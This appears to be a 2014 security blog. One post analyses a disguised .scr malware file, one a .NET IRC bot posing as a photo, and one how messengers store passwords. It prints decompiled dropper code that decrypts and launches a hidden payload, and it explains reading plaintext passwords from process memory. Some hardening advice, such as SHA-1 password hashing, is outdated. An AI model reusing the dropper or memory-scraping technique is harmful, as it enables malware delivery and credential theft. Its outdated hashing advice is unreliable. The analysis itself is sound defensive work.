Monday, February 24, 2014

Basic analysis

Hi.

Today we're going to do a basic analysis on a some virus. In the last note I mentioned you have two ways to analyze viruses, malwares etc:
  • basic analysis
  • dynamic analysis
Dynamic analysis is very simple, because you only run suspect file and watch its behavior using variety programs like: Wireshark, RegShot, etc. Today I won't be explaining how to use dynamic analysis though. Ok so let's start. The suspect file is called IMG_PhotoView_SAM68403(1).scr and this file we load to Exeinfo PE, however you can use PEiD, but I'm using Exeinfo PE and we see this file is written in C# so we can load into .NET Reflector and we can see code:
internal class Program
{
    // Fields
    private string f;

    // Methods
    private static void Main(string[] args)
    {
        try
        {
            string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
            string str2 = File.ReadAllText(Process.GetCurrentProcess().MainModule.FileName);
            string[] separator = new string[] { "[024578974asf6843sr6g87g67]" };
            string[] strArray2 = str2.Split(separator, StringSplitOptions.None);
            byte[] bytes = UnSecure(Convert.FromBase64String(strArray2[1]));
            File.WriteAllBytes(folderPath + @"\" + strArray2[2], bytes);
            Process.Start(folderPath + @"\" + strArray2[2]);
        }
        catch
        {
        }
    }

    private static byte[] UnSecure(byte[] data)
    {
        RijndaelManaged managed = new RijndaelManaged();
        byte[] buffer = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7 };
        byte[] buffer2 = new byte[] { 7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1 };
        managed.IV = buffer;
        managed.Key = buffer2;
        return managed.CreateDecryptor().TransformFinalBlock(data, 0, data.Length);
    }
}
Since we already have a code we're also able to copy it, but remember we need to remove a function Process.Start and change path to our suspect file then we can execute our program and we get in my case file is called: lkjyhgtrt.exe which is written in Delphi. So let's load into IDA, but before beginning analysis I recommend to use signatures in IDA. It'll make the analysis simpler and easier. The main goal is to find some functions like: connect to server/ftp/irc, download file, create a new thread etc. Interesting function for us is at address: 0x00493DAC. The function checks a command returned from an attacker server and then executes it. There are a lot of implemented commands for example:
And example function:
And one more thing could be interesting this suspect file contains in its resources a meme, you can use Resource Hacker and see it, but the virus loads this meme and shows it but I don't encourage to run virus only for see this meme :>

Ok that's all. If you have any questions you're welcome to post it in comments.

Link to unpacked file: link

Monday, February 17, 2014

Skuteczność antywirusów i analiza wirusa

Witam.

Dziś skupimy się na analizie "zdjęcia", które wczoraj pojawiło się na serwisie zapytaj.onet.pl. Tutaj link do tego "zdjęcia" jeśli ktoś jest zainteresowany analizą tego pliku: "zdjęcie".

Ważne! nie uruchamiać pliku exe z tego archiwum!

Oczywiście należy nadmienić, że nazwa pliku to: zdjecie001.JPG.rar no to sprawdźmy ile antywirusów wykrywa to jako zagrożenie: Link do wczorajszej analizy tylko 5 słabo trochę. No to idziemy dalej przy pomocy 7zipa otwieramy archiwum i widzimy tam tylko jeden plik: zdjecie001.JPG_zapytaj.onet.pl_.exe i wysyłamy znów na virustotal: Link do wczorajszej analizy jak widzimy sam exe jest mniej wykrywalny niż samo archiwum tylko 4 antywirusy wykryły ten plik jako zagrożenie. No do przejdźmy do analizy samego exe. Oczywiście przy analizie wirusów i innych zagrożeniach są możliwe dwa wyjścia:
  • statyczna analiza
  • dynamiczna analiza
Statyczna analiza polega na tym, że ładujemy plik do disassemblera np.: IDA i analizujemy plik. Tutaj trzeba się znać oczywiście na inżynierii wstecznej czyli w skrócie RE.
Dynamiczna analiza polega na tym, że nie musimy mieć pojęcia o RE, wystarczy uruchomić dany wirus i obserwować jego zachowanie. Jest wiele programów, które ułatwiają taką analizę, pokazują, jakie tworzy pliki, klucze w rejestrze itp. My dziś skupimy się jednak na statycznej analizie. Na początek sprawdźmy w czym został napisany ten wirus, więc ja posłużę się programem Exeinfo PE i widzimy:
Jak widzimy po screenie, analiza pójdzie bardzo łatwo, ponieważ aplikacja nie jest spakowana i wystarczy chociażby użyć .NET Reflector żeby zobaczyć kod źródłowy aplikacji. Tak więc ładujemy plik i przystępujemy do analizy. No i na pierwszy rzut oka widzimy klasę IRC jak można już się domyśleć wirus komunikuje się przez protokół IRC. W tej klasie mamy funkcję RunCommand w której możemy zobaczyć co atakujący może zrobić. Jakby ktoś chciał się połączyć z tym kanałem IRC to w klasie Configuration mamy wszystkie dane do połączenia. Interesująca jest również klasa Functions zawierająca różne funkcje jak np.: dodanie reguły do firewalla czy też ukrycie z listy procesów. W klasie RegistryTools widzimy, że aplikacje dodaje siebie do autostartu. Mamy również klasę SpreadByDrives która infekuje pamięci USB. No i na koniec jeszcze klasa Install i metoda Uninstall czyli jak usunąć wirusa. Oczywiście to nie cała analiza, ale jeśli ktoś ma trochę pojęcia o programowaniu i zna angielski to można taką prostą analizę przeprowadzić samemu.

Na koniec jeszcze sprawdźmy co się zmieniło od wczoraj w świecie antywirusów skan z dziś pliku rar: Dzisiejsza analiza oraz pliku exe: Dzisiejsza analiza. No jak widzimy sytuacja już dużo lepiej wygląda niż wczoraj.

Tego typu wirusy często są spotykane w mailach czy na serwisach społecznościowych, więc następnym razem sprawdzajmy czy zdjęcie jest faktycznie zdjęciem, a nie archiwum czy aplikacją. Pomocne tutaj będzie włączenie pokazywania rozszerzeń pliku: Just do it.

No i na koniec najważniejsze: najlepszym zabezpieczeniem komputera nie jest żaden pakiet ochraniający tylko my sami. Bo jak widzieliśmy po analizach nie zawsze antywirusy wykrywają od razu dane zagrożenie.

Jeśli ktoś ma obawy co do danego pliku zawsze przed uruchomieniem można użyć virustotal, przydatnymi serwisami mogą być także: Anubis, XecScan, Malwr, lub też podesłać mi ten pliczek :)

No i na koniec wszystkiego najlepszego dla naszych kotów w końcu dziś jest ich święto :)

Monday, February 3, 2014

Czy nasze hasła są bezpieczne? Czyli komunikatory od środka

Witam.

W dzisiejszym wpisie chcę poruszyć temat bezpieczeństwa, a w szczególności naszych haseł. Dzisiejszy post nie będzie dotyczył szyfrowania rozmów, natomiast skupimy się w całości na tym jak są nasze hasła przechowywane przez komunikatory. Główną uwagę chciałbym skupić na polskich komunikatorach takich jak: AQQ, Gadu-Gadu, WTW, ale będzie też trochę o zagranicznych komunikatorach takich jak: Pidgin, Skype. Na potrzeby testu stworzyłem testowe konta do GG, Skype i XMPP. Oczywiście taki test może wykonać każdy wystarczy użyć programu Cheat Engine(nie będę tutaj się skupiał na omawianiu tego programu). Jak również założyłem, że w AQQ, WTW i Pidginie użytkownik korzysta z dwóch protokołów GG i XMPP. Czemu takie założenia? O tym w dalszej części wpisu. Najpierw zobaczymy jak komunikatory przechowują nasze hasła na dysku.

Przechowywanie haseł
Zacznijmy po kolei na pierwszy ogień weźmiemy AQQ. Jak możemy zauważyć w folderze, gdzie AQQ trzyma wszystkie ustawienia, dane dotyczące naszego konta są zaszyfrowane, a w przypadku konta GG tylko hasło. Nie istotne to co to za szyfrowanie zostało użyte, ważne natomiast jest to, że po poznaniu algorytmu szyfrowania możemy odzyskać wszystkie dane. Teraz przechodzimy do kolejnego komunikatora czyli Gadu-Gadu. W tym przypadku nie wiele się różni od AQQ, tylko nasze hasło jest szyfrowane, jak się później okaże również da się to hasło odzyskać. Teraz open-sourcowy klient czyli Pidgin, niestety wszystko jest trzymane w postaci jawnej. To że dany program ma udostępniony kod źródłowy nie powinno go automatycznie zwalniać z jakiegokolwiek bezpieczeństwa, w końcu chodzi przede wszystkim o nasze hasła. Jak sprawa wygląda jeśli chodzi o Skype? Tutaj jest wszystko wyjaśnione. Jak widać w przypadku Skype możemy czuć się dużo bezpieczniej niż w przypadku wcześniej komunikatorów. No to teraz został nam jeszcze WTW. Tutaj również mamy zakodowane pliki dotyczące naszych danych, które również da się rozkodować.

Blokada profilu hasłem
Możliwość taką oferują tylko AQQ i WTW. Tak więc zacznijmy znowu od AQQ. Teraz możemy użyć programu Cheat Engine, który nam pomoże w przeglądaniu pamięci programu. Tak więc uruchamiamy AQQ widzimy ekran logowania, włączamy Cheat Engine, wyszukujemy teraz nasze hasło do profilu i oto efekt:
Tak więc jak widzimy na obrazku na nic nie pomogło szyfrowanie, skoro hasło jest rozszyfrowane w pamięci. W przypadku WTW sprawa wygląda dużo lepiej, nie znajdziemy w pamięci ustawionego hasła do naszego profilu.

Przeglądanie pamięci czyli szukanie kolejnych haseł :)
Trzymając się kolejności alfabetycznej zaczniemy od AQQ. Oczywiście jak w poprzednim punkcie widzieliśmy hasło rozszyfrowane, tak i teraz nie mogło być przecież inaczej. Sprawdzamy więc i o to efekty:
Zarówno jak hasło do Gadu-Gadu jak i XMPP są rozszyfrowane w pamięci. Teraz sprawdźmy jak wygląda sytuacja z komunikatorem Gadu-Gadu. Sytuacja jest dokładnie taka sama jak w AQQ:
Jeśli chodzi o Pidgin to nie ma co tutaj dużo mówić, wszystko zostało powiedziane. Jeśli ktoś chce oczywiście można sprawdzić samemu tylko trza pamiętać o odznaczeniu opcji "Unicode". W przypadku Skype sprawa wygląda dużo lepiej nie znajdziemy naszego hasła w postaci jawnej, możemy za to znaleźć zahashowane nasze hasło:
No i na koniec zostaje nam WTW. Oczywiście nie może tutaj być wielkiej niespodzianki i tak też się stało wszystko da się odczytać z pamięci:

Aplikacja
Nic nie stoi na przeszkodzie, żeby napisać prostą aplikację do odczytu haseł z pamięci zgodnie z tymi założeniami co podałem na początku, oczywiście taką aplikację można by było rozbudować dla każdego przypadku. Przykład działania aplikacji:

Czy mogę się czuć bezpiecznie jeśli hasła są rozszyfrowane w pamięci?
Niestety nie. Wystarczy, że wirus czy malware zrobi zrzut pamięci procesu, albo po prostu odczyta z odpowiedniego adresu nasze hasło.

Używam innego systemu niż Windows lub innego komunikatora czy jestem bezpieczny?
Użycie innego systemu nie ma wpływu jeśli komunikator trzyma hasła w pamięci rozszyfrowane. Jeśli chodzi o inny komunikator to wszystko zależy od tego jak przechowuje hasła w pamięci.

Jak tworzyć w miarę bezpieczną aplikację?
Hasła przechowywać używając SHA-1 lub lepszych algorytmów, MD5 najlepiej zostawić w spokoju. Jeśli dla kogoś to nie jest wystarczające można zrobić hasło na profil i te hasło wykorzystać jako klucz szyfrujący plik z danymi. No i najważniejsze nie trzymać jakichkolwiek haseł w postaci jawnej czy to w pliku, czy w bazie danych, czy w pamięci. Przy porównaniu haseł najlepiej stosować takie podejście zakładając, że mamy hasło zahashowane i sprawdzamy z tym co wprowadził użytkownik:
String zahashowaneHaslo = "hash";
String haslo = getStringFromUser(); /* funkcja pobierająca hasło od użytkownika  */
haslo = hash(haslo); // hashujemy hasło
Potem porównujemy ze sobą hasła i jeżeli nie są już nam potrzebne te hashe to wykonać taki kod:
for(int i =0; i < s.length(); i++) {
s[i] = 0;
}
s.clear(); /* żeby wyzerować pole przechowującą długość stringa */

Jeśli hasło musimy wysłać do serwera to najlepiej oczywiście w zaszyfrowanej formie, nawet jeśli łączymy się przy użyciu SSL to również wysyłajmy hasło zaszyfrowane, gdyż nawet jeśli atakujący użyłby ataku Man In The Middle nie otrzyma wtedy hasła w postaci jawnej. Oczywiście to tylko przykładowe propozycje, ale poprawiające bezpieczeństwo aplikacji i naszych haseł.

Podsumowanie
To tyle jeśli chodzi o ten krótki wpis na temat bezpieczeństwa komunikatorów. Jeśli ktoś jest tym zainteresowany jak inne programy podchodzą do bezpieczeństwa, przy użyciu Cheat Engine można sprawdzić czy hasła są trzymane w postaci jawnej w pamięci danego programu. No i nie zapominajmy o najważniejszym do każdego serwisu/konta używajmy innych haseł